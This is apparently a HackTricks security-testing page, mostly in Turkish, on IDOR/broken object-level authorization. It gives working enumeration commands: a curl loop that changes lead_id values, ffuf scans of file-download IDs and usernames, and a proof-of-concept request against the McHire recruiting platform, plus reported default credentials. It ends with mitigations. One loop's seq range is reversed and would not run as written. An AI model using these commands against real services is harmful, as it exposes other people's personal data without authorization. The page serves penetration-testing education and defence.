IDOR (Insecure Direct Object Reference)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) şu durumda ortaya çıkar: bir web veya API endpoint’i, kullanıcı tarafından kontrol edilebilen bir tanımlayıcıyı ifşa eder veya kabul eder; bu tanımlayıcı, dahili bir objeye doğrudan erişmek için kullanılır ve çağıranın o objeye erişme/değiştirme yetkisi olup olmadığını doğrulamaz. Başarılı istismar genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi yatay veya dikey ayrıcalık yükseltimine izin verir ve en kötü durumda tam hesap ele geçirme veya toplu veri sızdırma ile sonuçlanabilir.


1. Potansiyel IDOR’ları Belirleme

  1. Bir nesneye referans veren parametrelere bakın:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Veri okuyan veya güncelleyen endpoint’leri tercih edin (GET, PUT, PATCH, DELETE).
  2. Tanımlayıcıların sıralı veya öngörülebilir olduğu durumları not edin – eğer sizin ID’niz 64185742 ise 64185741 muhtemelen vardır.
  3. Gizli veya alternatif akışları keşfedin (ör. “Paradox team members” linki gibi) — bunlar ek API’leri açığa çıkarabilir.
  4. Yetkili fakat düşük ayrıcalıklı bir oturum kullanın ve sadece ID’yi değiştirin aynı token/cookie’yi koruyarak. Bir yetkilendirme hatasının olmaması genellikle IDOR belirtisidir.

Hızlı manuel kurcalama (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Otomatik enumeration (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Tahmin edilebilir indirme ID’lerini tarama (ffuf)

Kimlik doğrulamalı dosya barındırma panelleri genellikle kullanıcı başına metadata’yı tek bir files tablosunda saklar ve /download.php?id=<int> gibi bir indirme uç noktası sunar. Eğer işleyici sadece ID’nin var olup olmadığına bakıyorsa (ve ID’nin kimlik doğrulamalı kullanıcıya ait olup olmadığına bakmıyorsa), geçerli oturum çerezinizi kullanarak tam sayı alanını tarayabilir ve diğer kiracıların yedeklerini/konfigürasyonlarını çalabilirsiniz:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr 404-style şablonlarını kaldırır, böylece sadece gerçek tespitler kalır (ör. IDs 54/150 leaking full site backups and signing material).
  • Aynı FFUF workflow’u Burp Intruder veya bir curl loop ile de çalışır — ID’leri artırırken oturumunuzun açık kaldığından emin olun.

Hata-yanıt oracle for user/file enumeration

When a download endpoint accepts both a username and a filename (e.g. /view.php?username=<u>&file=<f>), subtle differences in error messages often create an oracle:

  • Mevcut olmayan username → “User not found”
  • Hatalı filename ama geçerli uzantı → “File does not exist” (bazen mevcut dosyaları da listeler)
  • Geçersiz uzantı → doğrulama hatası

Herhangi bir authenticated oturumla, zararsız bir filename’i sabit tutup username parametresini fuzz ederek ve “user not found” string’ini filtreleyerek geçerli kullanıcıları keşfedebilirsiniz:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Geçerli kullanıcı adları belirlendikten sonra, belirli dosyaları doğrudan isteyin (ör. /view.php?username=amanda&file=privacy.odt). Bu desen genellikle diğer kullanıcıların belgelerinin yetkisiz ifşasına ve kimlik bilgisi sızıntısına yol açar.


2. Gerçek Dünya Vaka Çalışması – McHire Chatbot Platformu (2025)

Paradox.ai tarafından desteklenen McHire işe alım portalının değerlendirilmesi sırasında aşağıdaki IDOR tespit edildi:

  • Uç nokta: PUT /api/lead/cem-xhr
  • Yetkilendirme: kullanıcı oturum çerezi herhangi bir restoran test hesabı için
  • Gövde parametresi: {"lead_id": N} – 8 haneli, sıralı sayısal tanımlayıcı

lead_id azaltılarak test eden, rastgele başvuru sahiplerinin tam PII (isim, e-posta, telefon, adres, vardiya tercihleri) ile oturum kaçırmaya izin veren bir tüketici JWT’sini elde etti. 1 – 64,185,742 aralığının taranması yaklaşık 64 million kaydı ortaya çıkardı.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.


3. IDOR / BOLA Etkisi

  • Yatay yükselme – diğer kullanıcıların verilerini okuma/güncelleme/silme (other users’).
  • Dikey yükselme – düşük ayrıcalıklı bir kullanıcı, yalnızca admin’e ait işlevlere erişim kazanır.
  • Tanımlayıcılar ardışık ise kitlesel veri ihlali (örn., başvuru ID’leri, faturalar).
  • Diğer kullanıcıların tokenlarını çalarak veya parolalarını sıfırlayarak hesap devralma.

4. Azaltma Yöntemleri & En İyi Uygulamalar

  1. Her istek için nesne seviyesinde yetkilendirmeyi uygulayın (user_id == session.user).
  2. Otomatik artan ID’ler yerine dolaylı, tahmin edilemez tanımlayıcıları (UUIDv4, ULID) tercih edin.
  3. Yetkilendirmeyi sunucu tarafında gerçekleştirin; gizli form alanlarına veya UI kontrollerine asla güvenmeyin.
  4. Merkezi bir middleware’de RBAC / ABAC kontrollerini uygulayın.
  5. ID taramasını tespit etmek için rate-limiting & logging ekleyin.
  6. Her yeni endpoint’i güvenlik testine tabi tutun (unit, integration ve DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin